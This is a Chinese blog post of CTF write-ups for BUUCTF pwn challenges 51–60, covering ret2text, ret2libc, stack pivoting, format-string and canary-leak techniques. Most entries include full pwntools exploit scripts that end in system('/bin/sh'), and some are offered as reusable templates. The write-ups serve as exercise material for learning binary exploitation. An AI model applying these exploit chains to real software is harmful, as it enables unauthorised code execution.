51~60

51.mrctf2020_easyoverflow

ret2text

(1)分析

image-20240123191429618

main函数:

image-20240220151809322

简单来说就是让check函数执行后返回值为0,我们就能拿到后门函数,注意这里有gets函数漏洞,也就是溢出点在V4这。

check函数:

image-20240220151934994

意思也很明显,就是检查V5是否和fake_flag相等,相等就返回0,那么思路就来了,要么我们通过溢出点覆盖V5让其等于fake_flag,要么我们将两个都覆盖为同一个值,回到主函数查看V4位置。

image-20240220152458741

我们发现V5距离V4有0x30个字节大小,偏移量确定。

看一下fake_flag是啥

image-20240220153418888

那么接下来payload就好写了。

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context(log_level='debug',arch='amd64',os='linux')
io=remote("node5.buuoj.cn",29338)

backdoor_addr=0x087D
padding=0x30

payload=b'a'*padding+b"n0t_r3@11y_f1@g"

io.sendline(payload)
io.interactive()

52.*xdctf2015_pwn200

(1)分析

image-20240220173622514

main函数:

image-20240220173941127

vuln函数:

image-20240220173824481

read漏洞,溢出152字节,完全够用

偏移地址cyclic动调一下,是0x70=112字节

考虑到开了NX保护,优先选择ret2libc,那么payload的构造套用模板就行

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node5.buuoj.cn',27705)
#io=process('./xxx')
elf=ELF('./52')

vuln_addr=elf.sym['vuln'] #在溢出点在这,所以第一次要返回到vuln函数中进行第二次攻击
write_plt=elf.plt['write']
write_got=elf.got['write']
padding=0x6c+4 #偏移地址

payload1=b'a'*padding
payload1 += p32(write_plt)+p32(vuln_addr)
payload1 += p32(1)+p32(write_got)+p32(4)

#根据函数的用法来构造,如果是puts函数则参考64位的方法

io.sendline(payload1)

#下面这个需要根据实际情况获取泄露函数真实地址(看debug返回的信息判断如何接收)
#write_addr=u32(io.recv(4))
write_addr=u32(io.recvuntil('\xf7')[-4:])
log.success('leak_write_real_addr => {}'.format(hex(write_addr)))

#以下为通用操作
'''libc = LibcSearcher("write",write_addr)
libcbase=write_addr-libc.dump('write')
system_addr=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump('str_bin_sh')'''

libc=ELF('32libc-2.23.so')
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))

payload2 = b'a'*padding+p32(system_addr)+p32(0)+p32(str_bin_sh)

io.sendline(payload2)
io.interactive()

PS:根据网上师傅的WP,接收地址的问题可以通过看debug来解决

53.*ciscn_2019_s_4

(1)分析

image-20240226200046043

main

image-20240226200234147

vul

image-20240226200324735

read漏洞,溢出8字节

hack

image-20240226201206355

没有/bin/sh字符串,需要自己填充,然后利用ROP链执行

但是8字节不够用,两次read溢出,加中间的printf泄露旧ebp地址,就是上次遇到的25题,当复习了,顺便搞个模板

思路还是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io=remote('node4.buuoj.cn',28967)

system_addr=xxx #没有后门函数就自己构造,可能会与ret2libc结合
leave_ret=xxx #用ROPgadget找
padding=xxx

payload=b'a'*(padding-1)+b'b' #这里栈溢出覆盖后用b做了个标记方便获取ebp的地址
io.send(payload) #注意使用send输入
io.recvuntil(b"b")
s=u32(io.recv(4))-0x38 #旧ebp-offset=esp(s起始位置)
#跳转到s的起始地址,即重新调转到这个栈内执行

#重新布置栈,进行栈劫持
payload2=b'aaaa'+p32(system_addr)+p32(0xdeadbeef)+p32(s+0x10)+b"/bin/sh"
payload2=payload2.ljust(padding,b'\x00')
payload2+=p32(s)+p32(leave_ret) #先覆盖ebp,再覆盖返回地址

io.send(payload2)
io.interactive()

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

io=remote('node5.buuoj.cn',25513)

system_addr=0x8048400 #没有后门函数就自己构造,可能会与ret2libc结合
leave_ret=0x08048562 #用ROPgadget找
padding=0x28
offset=0x38

payload=b'a'*(padding-1)+b'b' #这里栈溢出覆盖后用b做了个标记方便获取ebp的地址
io.send(payload) #注意使用send输入
io.recvuntil(b"b")
s=u32(io.recv(4))-offset #旧ebp-offset=esp(s起始位置)
#跳转到s的起始地址,即重新调转到这个栈内执行

#重新布置栈,进行栈劫持
payload2=b'aaaa'+p32(system_addr)+p32(0xdeadbeef)+p32(s+0x10)+b"/bin/sh"
payload2=payload2.ljust(padding,b'\x00')
payload2+=p32(s)+p32(leave_ret) #先覆盖ebp,再覆盖返回地址

io.send(payload2)
io.interactive()

54.wustctf2020_closed

(1)分析

image-20240226215631456

main

image-20240226215931644

vulnerable

image-20240226220012990

shell

image-20240226220041388

给了后门函数,但是没看到溢出点,我们查一下vulnerable中close(1)和close(2)的意思。

文件描述符为0、1和2 (常说的输入、输出和报错),那么这里的意思就是关闭了标准输出和报错,只剩下标准输入开着。

看了别人的wp发现这又是linux命令的小知识,我们可以对stdout重定向,将文件描述符 1 重定向到文件描述符 0 :因此这题不用写exp,直接执行==execv 1>&0==

这会执行 execv 程序,并将execv 程序的标准输出重定向到当前终端的标准输入,这样 execv 程序输出的内容会被发送到当前终端,并成为当前终端的输入。

因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了

55.[ZJCTF 2019]Login

(1)分析

image-20240227162243747

main

image-20240227162439575

终于遇见C++的题了,先去网上学习一下

看不懂伪代码就先运行一下

image-20240227170458706

然后IDA上搜索字符串,发现后门在Admin::shell函数这

image-20240227171602957

那么我们用户名就试试admin的

image-20240227173608295

这次是段错误,看来方向对了

找找有没有溢出点可以跳转到后门函数

image-20240227173757161

image-20240227173832640

两个输入点都有溢出,但是没法溢出到返回地址,看下检查密码的函数

image-20240227174707294

貌似也没啥问题,没头绪,但是哪里出现了段错误我们还没明白,去pwndbg调调看。

发现是在password_checker函数这出了问题

image-20240227185020553

把rax当作函数执行出现了问题,我们看看能不能控制rax里面的内容让它执行后门函数。

可以看到[rbp+var_68]之前有个mov [rbp+var_68], rdi的指令,所以我们控制rdi,就能控制这里的rax,总所周知rdi是传参的寄存器,那么我们跳出这个函数,看看rdi在主函数中被谁赋值了

image-20240227203357987

还是rax,这里的rax又被上面的[rbp+var_130]赋值了,[rbp+var_130]在上面又被rax赋值了,这个rax得去password_checker函数里去看下

image-20240227213021200

终于看到rax被[rbp+var_18]赋值了,那么只要我们想办法把变量var_18填上后门函数的地址,我们就能控制程序获取shell了。

进两个输入点看看能不能改变量var_18的内容

image-20240228161841491

发现读入的s变量下面就存放着var_18变量,偏移是0x48个字节,刚好能溢出到,那就能写exp了。

由于 fgets 函数会在遇到空字符(’\x00’)或者换行符(’\n’)时停止读取,因此在构造 payload 时使用了 '\x00' 来截断,以确保后续填充的内容不会被 fgets 读取进去,如果格式化字符串过长有可能会破坏我们布置好的shell,这里利用%s\x00截断

(2)payload

1
2
3
4
5
6
7
8
9
10
from pwn import*

io=remote('node5.buuoj.cn',25242)
shell_addr=0x400E88
padding=0x48

payload=b'2jctf_pa5sw0rd'+b'\x00'*(padding-14)+p64(shell_addr)
io.sendline('admin')
io.sendline(payload)
io.interactive()

总体来说,这题还是ret2text,但是对汇编和溢出点的查找要求更高

56.jarvisoj_level1

(1)分析

image-20240228165812631

无保护

main

image-20240228170052582

vulnerable_function

image-20240228170305828

溢出显而易见,没有后门函数和/bin/sh字符串,所以要么shellcode,要么libc,先libc试试

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node5.buuoj.cn',26472)
#io=process('./xxx')
elf=ELF('./56')

main_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
padding=0x8c #偏移地址

payload1=b'a'*padding
payload1 += p32(write_plt)+p32(main_addr)
payload1 += p32(1)+p32(write_got)+p32(4)

#根据函数的用法来构造,如果是puts函数则参考64位的方法

io.sendline(payload1)

#下面这个需要根据实际情况获取泄露函数真实地址
write_addr=u32(io.recv(4))
log.success('leak_write_real_addr => {}'.format(hex(write_addr)))

#以下为通用操作
'''libc = LibcSearcher("write",write_addr)
libcbase=write_addr-libc.dump('write')
system_addr=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump('str_bin_sh')'''

libc=ELF('32libc-2.23.so')
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))

payload2 = b'a'*padding+p32(system_addr)+p32(0)+p32(str_bin_sh)

io.sendline(payload2)
io.interactive()

57.hitcontraining_magicheap

(1)分析

image-20240228175326939

main

(2)payload

1

58.axb_2019_fmt32

(1)分析

image-20240228180750105

main

image-20240301193717057

read无溢出,但是25行有明显的格式化字符串漏洞

好久没写格式化字符串的题了,先复习一下

image-20240301193706562

格式化字符串(format string)是一些程序设计语言的输入/输出中能将字符串参数转换为另一种形式输出的函数。格式化字符串中的占位符用于指明输出的参数值如何格式化。

image-20240301200537348

image-20240301193952374

漏洞特征:

一旦程序编写不规范,比如正确的写法是:printf("%s", pad),偷懒写成了:==printf(pad);==,此时就存在格式化字符串漏洞。

因为printf为可变参数,32位linux系统下是用栈传递参数,栈顶指针esp是第一个参数,此时printf就会打印该字符串,如果进一步遇到格式化符号,比如这里的%p,那么就会以十六进制的方式打印第二个参数,但我们并没有传递第二个参数,所以系统还是将esp+0x4的位置当作第二个参数打印了,以此类推。

网上师傅的这段找参数位置的方法很有用:

64位的前6个参数存储在寄存器中,顺序为rdi,rsi,rdx,rcx,r8.r9,但是由于ASLR的开启,我们是不知道第7个参数到底在哪里的,我们可以多写几个参数与栈上比对

image-20240304221057434

可以看到前2个参数的地址一眼不是栈上的,而第3个是0x7ff开头的,所以是栈上的地址

image-20240305193309038

x64 前 6 个参数存在寄存器上面,而第一个参数又是格式化字符串,所以这实际上就是第 5+4=9 个参数,所以 payload 就写 %9$s

回到本题,没有后门函数,要用格式化字符串泄露出某个libc函数,来获得libc基址

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')

io = remote("node5.buuoj.cn","28661")
elf=ELF("./58")
libc=ELF('32libc-2.23.so')

printf_got = elf.got['printf']

payload = b'a' + p32(printf_got) +b'22'+ b'%8$s'
io.sendafter(b'me:', payload)
io.recvuntil(b"22")
printf_addr = u32(io.recv(4))
print ("printf_addr="+hex(printf_addr))

libc_base=printf_addr-libc.sym['printf']
system=libc_base+libc.sym['system']

'''libc=LibcSearcher('printf',printf_addr)
libc_base=printf_addr-libc.dump('printf')
system=libc_base+libc.dump('system')'''

print ("system_addr"+hex(system))

payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)

io.sendline(payload)

io.sendline(b';/bin/sh\x00')
io.interactive()

59.others_babystack

(1)分析

image-20240305204211555

main

image-20240305204445081

read漏洞,无后门函数,应该是ret2libc。然后程序有canary保护,我们得先绕过canary。

puts函数在输出的时候是遇到’\x00’ 才会结束,我们都知道canary跟在ebp之后,因此我们直接填充‘a’到ebp,正好 可以把canary的截断符覆盖,再输出,就会连canary一起输出了。

那么思路分析完毕,直接上payload吧

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node5.buuoj.cn',26947)
elf=ELF('./59')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi_ret=0x400a93
#ret=0x40067e #有时栈平衡会需要这个gadget凑数
main_addr=0x400908 #elf.sym['main']
padding=0x88 #偏移地址

#0x01 泄露canary

leak_canary=b'a'*padding

io.sendlineafter(b">> ",str(1))
io.sendline(leak_canary)
io.sendlineafter(b">> ",str(2))
io.recvuntil(b'a\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
print (hex(canary))

#0x02 leak puts函数

payload1=b'a'*padding
payload1+=p64(canary)+p64(0)
payload1+=p64(pop_rdi_ret)+p64(puts_got)
payload1+=p64(puts_plt)+p64(main_addr)

io.sendlineafter(b">> ",str(1))
io.sendline(payload1)
io.sendlineafter(">>",'3') #让程序正常退出,不然接收不了
io.recv()

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('leak_puts_real_addr => {}'.format(hex(puts_addr)))

#0x03 ret2libc

'''libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')'''

libc=ELF('64libc-2.23.so')
libcbase = puts_addr-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))

payload2=b'a'*padding+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

io.sendlineafter(b">> ",str(1))
io.sendline(payload2)
io.sendlineafter(">>",'3')
io.interactive()

60.pwnable_start

手动写shellcode+内平栈

(1)分析

image-20240305214603993

(2)payload

1


51~60
http://example.com/2024/01/23/WP/BUUCTF/51-60/
作者
Jwj-Learning
发布于
2024年1月23日
许可协议